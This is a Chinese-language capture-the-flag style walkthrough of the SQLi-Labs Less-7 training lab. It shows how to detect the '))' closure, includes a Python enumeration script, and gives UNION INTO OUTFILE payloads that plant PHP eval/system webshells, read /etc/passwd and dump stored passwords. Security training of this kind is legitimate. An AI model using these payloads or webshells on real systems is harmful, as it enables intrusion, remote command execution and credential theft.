Less-7 GET-Dump into outfile-String

GET-导出到文件-字符串

题目提示了是要outfile传文件,就是传一个马上去,这里用的php一句话木马。

1. 如何检测闭合方式 '))

方法1:观察报错信息(最直接)

-- 测试1:单引号
?id=1'
返回:You have an error in your SQL syntax
分析:语法错误,但看不到具体报错(被注释掉了)

-- 测试2:单引号+右括号
?id=1')
返回:You have an error in your SQL syntax
分析:还是错误

-- 测试3:单引号+双右括号
?id=1'))
返回:You have an error in your SQL syntax
分析:还是错误(因为后面还有 LIMIT)

-- 测试4:完整闭合+注释
?id=1')) --+
返回:You are in.... Use outfile......
✅ 成功!说明闭合方式是 '))

方法2:逐步测试(推荐新手)

-- Step 1: 测试单引号
?id=1'
错误 → 说明有引号

-- Step 2: 尝试闭合单引号
?id=1' --+
错误 → 说明还有其他结构

-- Step 3: 尝试单引号+括号
?id=1') --+
错误 → 说明不止一个括号

-- Step 4: 尝试单引号+双括号
?id=1')) --+
成功 ✅ → 确认闭合方式是 '))

-- Step 5: 逻辑验证
?id=1')) and '1'='1' --+
成功 ✅

?id=1')) and '1'='2' --+
失败 ❌

确认无误!

第5步逻辑验证至关重要,因为测试的时候发现双引号也能返回you are in 的页面,会误导,但是逻辑验证加上and ‘1’=‘1’ 后语法错误,说明双引号的方式不行。

使用 ")) 闭合(错误但不报错)
输入: ?id=1")) and "1"="1" --+

拼接后的SQL:
SELECT * FROM users WHERE id=(('1")) and "1"="1" --+')) LIMIT 0,1

注释后:
SELECT * FROM users WHERE id=(('1")) and "1"="1"

MySQL的解析过程:
WHERE id = ( ( '1")) and "1"="1"' ) )
             ↑ ↑_____________________↑ ↑
             ( 整个字符串从这里开始  )
             
MySQL看到:
- 第一个 ( 
- 第二个 (
- 单引号 ' 开始字符串
- 字符串内容:1")) and "1"="1" 直到找到下一个单引号
- 但是!找不到配对的单引号(被--+注释了)
- MySQL容错:把整个后续内容当作字符串

等价于:
WHERE id = '1")) and "1"="1" --+'))'
           ↑_______________________↑
           整个被当作字符串

sql把 ‘1"xxxxxxxx’ 理解为一个字符串,自动取第一个值匹配,所以还是能显示you are in 的“仿佛”是对了的信号,但是一旦加上and ’1‘=’1‘ 就露馅了,发现and没有执行。因为and的内容被视为字符串,而又被截断了只取1,所以and 1=100都无所谓,还是会显示you are in 这在逻辑上是错误的。正确的 ?id=1’)) and ‘1’=‘2’ --+ 因为1=2的条件是flase,页面会显示false,说明mysql运行了and ‘1’=‘2’ 的判断,证明 ')) 的闭合才是正确的。

?id=1"))--+ 
?id=1")) and "1"="1" --+ 
?id=1")) and "1"="2" --+ 
?id=1')) and '1'='1' --+ 
You are in.... Use outfile......

?id=1')) and '1'='2' --+ 
You have an error in your SQL syntax

直接连上数据库测试结果也说明了“)) 结构后面的and压根不会执行。

如果mysql执行了and,and条件为flase应该如下图第二条命令所示不会输出内容。

MySQL的字符串隐式转换(关键点)

MySQL的类型转换规则:

-- 规则:当比较不同类型时,MySQL会尝试转换
-- 字符串转数字:从左到右读取,直到遇到非数字字符

SELECT '1abc' = 1;        -- True  (字符串'1abc'被转为数字1)
SELECT '123abc' = 123;    -- True  (字符串'123abc'被转为数字123)
SELECT 'abc' = 0;         -- True  (字符串'abc'被转为数字0)
SELECT '1")) and "1"="1"' = 1;  -- True! (字符串被转为数字1)

方法3:分析源码结构

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
                                  ↑↑ ↑  ↑ ↑↑
                                  两个左括号    两个右括号
                                     单引号    单引号

结构分析:

WHERE id=(('$id'))
         ││ ↑  ││
         ││用户输入││
         ││      ││
         │└──────┘│
         └────────┘
         
需要闭合:' )) 

方法4:暴力枚举(自动化)

import requests

url = "http://192.168.224.1:8887/Less-7/?id="
success_flag = "You are in"

closures = ["'", '"', "')", '")', "'))", '"))']

print("[*] 检测闭合方式(改进版)\n")

for closure in closures:
    # 构造True和False两个条件
    if '"' in closure:
        payload_true = f'1{closure} and "1"="1" --+'
        payload_false = f'1{closure} and "1"="2" --+'
    else:
        payload_true = f"1{closure} and '1'='1' --+"
        payload_false = f"1{closure} and '1'='2' --+"
    
    # 测试True条件
    resp_true = requests.get(url + payload_true)
    has_true = success_flag in resp_true.text
    
    # 测试False条件  
    resp_false = requests.get(url + payload_false)
    has_false = success_flag in resp_false.text
    
    print(f"测试 {closure:5s}:")
    print(f"  True条件:  {'✅ 成功' if has_true else '❌ 失败'}")
    print(f"  False条件: {'✅ 成功' if has_false else '❌ 失败'}")
    
    # 判断逻辑
    if has_true and not has_false:
        print(f"  ✅✅✅ 正确闭合!逻辑判断生效!\n")
        print(f"[+] 最终结果: {closure}")
        break
    elif has_true and has_false:
        print(f"  ⚠️  疑似错误闭合(True和False都成功,逻辑未生效)\n")
    else:
        print(f"  ❌ 闭合失败\n")

特别添加了逻辑验证的功能,避免双引号的干扰。避免双引号的干扰,因为and后面的命令,我们是想让它执行了,注入恶意代码取爆库的,如果and不执行,只是显示you are in的虚假反馈,爆到天昏地暗也出不来。

2. 如何使用 OUTFILE 写文件

OUTFILE 基础知识

INTO OUTFILE 是MySQL的功能,可以将查询结果写入服务器文件。

语法:

SELECT ... INTO OUTFILE '/path/to/file.txt'

限制条件:

  1. ✅ 需要 FILE 权限
  2. ✅ 需要知道网站绝对路径
  3. ✅ 目标目录必须可写
  4. ✅ 文件不能已存在
  5. secure_file_priv 设置允许

Less-7 的 OUTFILE 注入

Step 1: 确认可以使用 OUTFILE
-- 测试基本写入
?id=1')) union select 1,2,3 into outfile '/tmp/test.txt' --+

-- 如果成功,会在 /tmp/ 目录创建 test.txt
-- 内容:1    2    3


当然,一般来说tmp目录是从网页访问不到了,除非能够目录遍历。所以这个文件放哪里的位置就要猜一下了。

Step 2: 获取网站路径

方法1:报错获取路径(Less-7不行,因为报错被屏蔽了)

方法2:常见路径猜测

# Linux常见路径
/var/www/html/
/var/www/html/sqli-labs/Less-7/
/usr/share/nginx/html/
/home/www/

# Windows常见路径
C:/wamp/www/
C:/xampp/htdocs/
D:/www/

# SQLI-Labs 默认路径(基于你的URL)
/var/www/html/Less-7/

方法3:使用@@datadir或@@basedir

?id=-1')) union select 1,@@datadir,3 --+
?id=-1')) union select 1,@@basedir,3 --+

但Less-7不显示数据,所以这个方法也不行。

方法4:基于URL推测

URL: http://192.168.224.1:8887/Less-7/?id=1
可能的路径: /var/www/html/Less-7/

写入的目录一定要有写的权限,可以看到一开始注入到 /tmp 目录的时候是成功的,但是注入 Less-7 目录不成功。这是因为使用网页端的漏洞时,我们当前的用户一般是mysql或者 www-data,而 Less-7 的用户是 root,以www-data 的权限是不能向 Less-7 写入文件的。

要想写入文件有两个思路,一个是提升权限或改变目录权限,从www-data变成root,或者改变Less-7目录的权限,让其变为777,全员可读可写可执行。二是在html文件夹下再尝试找一个类似 tmp 目录那样的目录来写入。第一个方法实现比较困难,一般需要webShell,而我们现在就是卡在webShell的关卡上。如果不用webshell,有一些特定漏洞是可以利用的,但是这样“好用”的漏洞非常少,所以基本不考虑第一种方法。

Step 3: 写入 WebShell

PHP一句话木马:

<?php @eval($_POST['cmd']); ?>

完整payload:

-- 注意:路径需要根据实际情况修改
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/tmp/../www/shell.php' --+

URL编码版本:

?id=1'))%20union%20select%201,'<?php%20@eval($_POST["cmd"]);%20?>',3%20into%20outfile%20'/var/www/html/sqli-labs/Less-7/shell.php'%20--+
Step 4: 访问 WebShell

这里靶机的版本不同还有不同的权限,我这个www文件夹都没有写入的权限。只有 /tmp/var/tmp 这两个目录可以写,但是没有目录遍历或者文件包含相关的漏洞。sql漏洞中还有提权相关的洞,不过目前没有学到,就“作弊”把shell.php文件从docker后台复制到less7目录下,模拟Less7目录可写的情况。

http://192.168.224.1:8887/Less-7/shell.php

使用工具(如蚁剑、菜刀)连接,密码是 cmd



详细示例

示例1:写入简单的PHP文件
-- 写入一个显示phpinfo的文件
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/info.php' --+

-- 访问
http://192.168.224.1:8887/Less-7/info.php
示例2:写入HTML文件
-- 写入HTML
?id=1')) union select 1,'<h1>Hacked by You</h1>',3 into outfile '/var/www/html/sqli-labs/Less-7/hacked.html' --+

-- 访问
http://192.168.224.1:8887/Less-7/hacked.html
示例3:写入包含数据库信息的文件
-- 写入数据库名到文件
?id=1')) union select 1,database(),3 into outfile '/var/www/html/sqli-labs/Less-7/db.txt' --+

-- 写入所有用户名和密码
?id=1')) union select 1,group_concat(username,0x3a,password),3 from users into outfile '/var/www/html/sqli-labs/Less-7/users.txt' --+
示例4:写入更复杂的WebShell
-- 功能更强的一句话
?id=1')) union select 1,'<?php system($_GET["c"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/cmd.php' --+

-- 使用(执行系统命令)
http://192.168.224.1:8887/Less-7/cmd.php?c=whoami
http://192.168.224.1:8887/Less-7/cmd.php?c=ls -la
http://192.168.224.1:8887/Less-7/cmd.php?c=cat /etc/passwd

3. OUTFILE 的限制和绕过

常见限制

限制1:secure_file_priv

检查配置:

?id=-1')) union select 1,@@secure_file_priv,3 --+

可能的值:

  • NULL:禁止导入导出
  • /tmp/:只能在这个目录
  • 空字符串:任意目录

绕过: 如果限制了目录,就只能写到允许的目录

限制2:文件已存在

错误: ERROR 1086: File '/path/file.txt' already exists

绕过: 更改文件名

?id=1')) union select 1,2,3 into outfile '/path/file2.txt' --+
?id=1')) union select 1,2,3 into outfile '/path/file_20250101.txt' --+
限制3:没有写权限

绕过: 找到可写目录

# 常见可写目录
/tmp/
/var/tmp/
/dev/shm/

替代方法:INTO DUMPFILE

区别:

  • INTO OUTFILE:会添加换行符和转义字符
  • INTO DUMPFILE:原样写入,适合二进制文件
-- 写入二进制WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into dumpfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

4. 完整的 Less-7 利用流程

-- Step 1: 确认注入点和闭合
?id=1')) and '1'='1' --+
✅ You are in....

-- Step 2: 确认列数
?id=1')) order by 3 --+
✅ 成功

?id=1')) order by 4 --+
❌ 错误(3列)

-- Step 3: 确认显示位(Less-7不显示,所以跳过)

-- Step 4: 尝试写文件(猜测路径)
?id=1')) union select 1,'<?php phpinfo(); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/test.php' --+

-- Step 5: 访问测试
http://192.168.224.1:8887/Less-7/test.php
(如果显示phpinfo,说明路径正确)

-- Step 6: 写入WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

-- Step 7: 连接WebShell
使用蚁剑或菜刀连接
URL: http://192.168.224.1:8887/Less-7/shell.php
密码: cmd

5. 实战技巧

技巧1:路径探测

-- 写入到不同路径,看哪个成功
?id=1')) union select 1,2,3 into outfile '/var/www/html/test1.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/test2.txt' --+
?id=1')) union select 1,2,3 into outfile '/var/www/html/sqli-labs/Less-7/test3.txt' --+

技巧2:利用错误回显(如果有)

如果页面显示MySQL错误:

?id=1')) union select 1,2,3 into outfile '/nonexistent/path/file.txt' --+

错误:Can't create/write to file '/nonexistent/path/file.txt'
分析:说明OUTFILE功能可用,只是路径不对

技巧3:写入日志文件位置

-- 查看错误日志位置
?id=-1')) union select 1,@@log_error,3 into outfile '/tmp/log_path.txt' --+

-- 查看数据目录
?id=-1')) union select 1,@@datadir,3 into outfile '/tmp/datadir.txt' --+

总结

Less-7 的特点

特征说明
SQL结构WHERE id=(('$id'))
闭合方式'))
报错显示❌ 不显示详细错误
数据显示❌ 不显示数据
提示✅ “Use outfile”
核心技术INTO OUTFILE 写文件

检测 ')) 的方法

  1. ✅ 逐步测试:'')'))')) --+
  2. ✅ 逻辑验证:1')) and '1'='1' --+ vs 1')) and '1'='2' --+
  3. ✅ 自动化枚举

OUTFILE 利用

-- 基本语法
?id=1')) union select 1,'内容',3 into outfile '路径' --+

-- 写WebShell
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile '/var/www/html/sqli-labs/Less-7/shell.php' --+

关键点

  1. ⚠️ 需要知道网站绝对路径
  2. ⚠️ 需要目录可写权限
  3. ⚠️ 文件不能已存在
  4. ⚠️ 注意 secure_file_priv 限制

Less-7 是学习文件写入攻击的经典题目!🎯

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

泷羽Sec-静安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值